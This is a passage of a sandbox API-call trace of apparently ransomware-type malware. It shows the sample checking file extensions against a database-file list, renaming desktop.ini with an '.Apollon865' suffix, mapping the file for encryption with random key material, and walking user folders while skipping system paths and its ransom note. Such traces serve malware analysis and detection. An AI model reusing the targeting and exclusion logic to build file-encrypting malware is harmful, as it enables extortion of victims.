	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.468] lstrlenW (lpString="dbs") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.468] lstrlenW (lpString="dbt") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.468] lstrlenW (lpString="dbv") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.468] lstrlenW (lpString="dbx") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.468] lstrlenW (lpString="dcb") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.468] lstrlenW (lpString="dct") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.468] lstrlenW (lpString="dcx") returned 3
	[0053.468] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.468] lstrlenW (lpString="ddl") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.469] lstrlenW (lpString="dlis") returned 4
	[0053.469] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.469] lstrlenW (lpString="dp1") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0053.469] lstrlenW (lpString="dqy") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.469] lstrlenW (lpString="dsk") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.469] lstrlenW (lpString="dsn") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.469] lstrlenW (lpString="dtsx") returned 4
	[0053.469] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.469] lstrlenW (lpString="dxl") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.469] lstrlenW (lpString="eco") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.469] lstrlenW (lpString="ecx") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.469] lstrlenW (lpString="edb") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.469] lstrlenW (lpString="epim") returned 4
	[0053.469] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.469] lstrlenW (lpString="fcd") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.469] lstrlenW (lpString="fdb") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.469] lstrlenW (lpString="fic") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.469] lstrlenW (lpString="flexolibrary") returned 12
	[0053.469] lstrlenW (lpString="fm5") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.469] lstrlenW (lpString="fmp") returned 3
	[0053.469] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.469] lstrlenW (lpString="fmp12") returned 5
	[0053.470] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.470] lstrlenW (lpString="fmpsl") returned 5
	[0053.470] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.470] lstrlenW (lpString="fol") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.470] lstrlenW (lpString="fp3") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.470] lstrlenW (lpString="fp4") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.470] lstrlenW (lpString="fp5") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.470] lstrlenW (lpString="fp7") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.470] lstrlenW (lpString="fpt") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.470] lstrlenW (lpString="frm") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.470] lstrlenW (lpString="gdb") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.470] lstrlenW (lpString="gdb") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.470] lstrlenW (lpString="grdb") returned 4
	[0053.470] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.470] lstrlenW (lpString="gwi") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.470] lstrlenW (lpString="hdb") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.470] lstrlenW (lpString="his") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.470] lstrlenW (lpString="ib") returned 2
	[0053.470] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.470] lstrlenW (lpString="idb") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.470] lstrlenW (lpString="ihx") returned 3
	[0053.470] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.471] lstrlenW (lpString="itdb") returned 4
	[0053.471] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.471] lstrlenW (lpString="itw") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.471] lstrlenW (lpString="jet") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.471] lstrlenW (lpString="jtx") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.471] lstrlenW (lpString="kdb") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.471] lstrlenW (lpString="kexi") returned 4
	[0053.471] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.471] lstrlenW (lpString="kexic") returned 5
	[0053.471] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.471] lstrlenW (lpString="kexis") returned 5
	[0053.471] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.471] lstrlenW (lpString="lgc") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.471] lstrlenW (lpString="lwx") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.471] lstrlenW (lpString="maf") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.471] lstrlenW (lpString="maq") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.471] lstrlenW (lpString="mar") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.471] lstrlenW (lpString="marshal") returned 7
	[0053.471] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.471] lstrlenW (lpString="mas") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.471] lstrlenW (lpString="mav") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.471] lstrlenW (lpString="maw") returned 3
	[0053.471] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.471] lstrlenW (lpString="mdbhtml") returned 7
	[0053.472] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.472] lstrlenW (lpString="mdn") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.472] lstrlenW (lpString="mdt") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.472] lstrlenW (lpString="mfd") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.472] lstrlenW (lpString="mpd") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.472] lstrlenW (lpString="mrg") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.472] lstrlenW (lpString="mud") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.472] lstrlenW (lpString="mwb") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.472] lstrlenW (lpString="myd") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.472] lstrlenW (lpString="ndf") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.472] lstrlenW (lpString="nnt") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.472] lstrlenW (lpString="nrmlib") returned 6
	[0053.472] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.472] lstrlenW (lpString="ns2") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.472] lstrlenW (lpString="ns3") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.472] lstrlenW (lpString="ns4") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.472] lstrlenW (lpString="nsf") returned 3
	[0053.472] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.472] lstrlenW (lpString="nv") returned 2
	[0053.472] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.472] lstrlenW (lpString="nv2") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.473] lstrlenW (lpString="nwdb") returned 4
	[0053.473] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.473] lstrlenW (lpString="nyf") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.473] lstrlenW (lpString="odb") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.473] lstrlenW (lpString="odb") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.473] lstrlenW (lpString="oqy") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.473] lstrlenW (lpString="ora") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.473] lstrlenW (lpString="orx") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.473] lstrlenW (lpString="owc") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.473] lstrlenW (lpString="p96") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.473] lstrlenW (lpString="p97") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.473] lstrlenW (lpString="pan") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.473] lstrlenW (lpString="pdb") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.473] lstrlenW (lpString="pdm") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.473] lstrlenW (lpString="pnz") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.473] lstrlenW (lpString="qry") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.473] lstrlenW (lpString="qvd") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.473] lstrlenW (lpString="rbf") returned 3
	[0053.473] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.474] lstrlenW (lpString="rctd") returned 4
	[0053.474] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.474] lstrlenW (lpString="rod") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.474] lstrlenW (lpString="rodx") returned 4
	[0053.474] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.474] lstrlenW (lpString="rpd") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.474] lstrlenW (lpString="rsd") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.474] lstrlenW (lpString="sas7bdat") returned 8
	[0053.474] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.474] lstrlenW (lpString="sbf") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.474] lstrlenW (lpString="scx") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.474] lstrlenW (lpString="sdb") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.474] lstrlenW (lpString="sdc") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.474] lstrlenW (lpString="sdf") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.474] lstrlenW (lpString="sis") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.474] lstrlenW (lpString="spq") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.474] lstrlenW (lpString="te") returned 2
	[0053.474] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.474] lstrlenW (lpString="teacher") returned 7
	[0053.474] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.474] lstrlenW (lpString="tmd") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.474] lstrlenW (lpString="tps") returned 3
	[0053.474] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.474] lstrlenW (lpString="trc") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.475] lstrlenW (lpString="trc") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.475] lstrlenW (lpString="trm") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.475] lstrlenW (lpString="udb") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.475] lstrlenW (lpString="udl") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.475] lstrlenW (lpString="usr") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.475] lstrlenW (lpString="v12") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.475] lstrlenW (lpString="vis") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.475] lstrlenW (lpString="vpd") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.475] lstrlenW (lpString="vvv") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.475] lstrlenW (lpString="wdb") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.475] lstrlenW (lpString="wmdb") returned 4
	[0053.475] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.475] lstrlenW (lpString="wrk") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0053.475] lstrlenW (lpString="xdb") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.475] lstrlenW (lpString="xld") returned 3
	[0053.475] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.475] lstrlenW (lpString="xmlff") returned 5
	[0053.475] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.475] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Documents\\desktop.ini.Apollon865") returned 49
	[0053.475] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Documents\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\documents\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.476] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\documents\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.477] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=402) returned 1
	[0053.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.477] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.478] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.478] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.478] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x150
	[0053.480] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000
	[0053.481] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.482] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.482] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.482] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.483] CloseHandle (hObject=0x150) returned 1
	[0053.483] CloseHandle (hObject=0x118) returned 1
	[0053.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e080250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.483] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.483] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="Apollon865.txt.exe") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1
	[0053.483] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1
	[0053.483] lstrlenW (lpString="My Music") returned 8
	[0053.483] lstrlenW (lpString="C:\\Users\\Default\\Documents\\desktop.ini") returned 38
	[0053.483] lstrcpyW (in: lpString1=0x119e63e, lpString2="My Music" | out: lpString1="My Music") returned="My Music"
	[0053.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0053.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf78
	[0053.483] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0053.484] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1
	[0053.484] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1
	[0053.484] lstrlenW (lpString="My Pictures") returned 11
	[0053.484] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Music") returned 35
	[0053.484] lstrcpyW (in: lpString1=0x119e63e, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures"
	[0053.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0053.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcb18
	[0053.484] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0053.484] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="Apollon865.txt.exe") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1
	[0053.484] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1
	[0053.485] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1
	[0053.485] lstrlenW (lpString="My Videos") returned 9
	[0053.485] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Pictures") returned 38
	[0053.485] lstrcpyW (in: lpString1=0x119e63e, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos"
	[0053.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0053.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bca10
	[0053.485] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0053.485] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0053.485] FindClose (in: hFindFile=0x5ca1d0 | out: hFindFile=0x5ca1d0) returned 1
	[0053.485] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
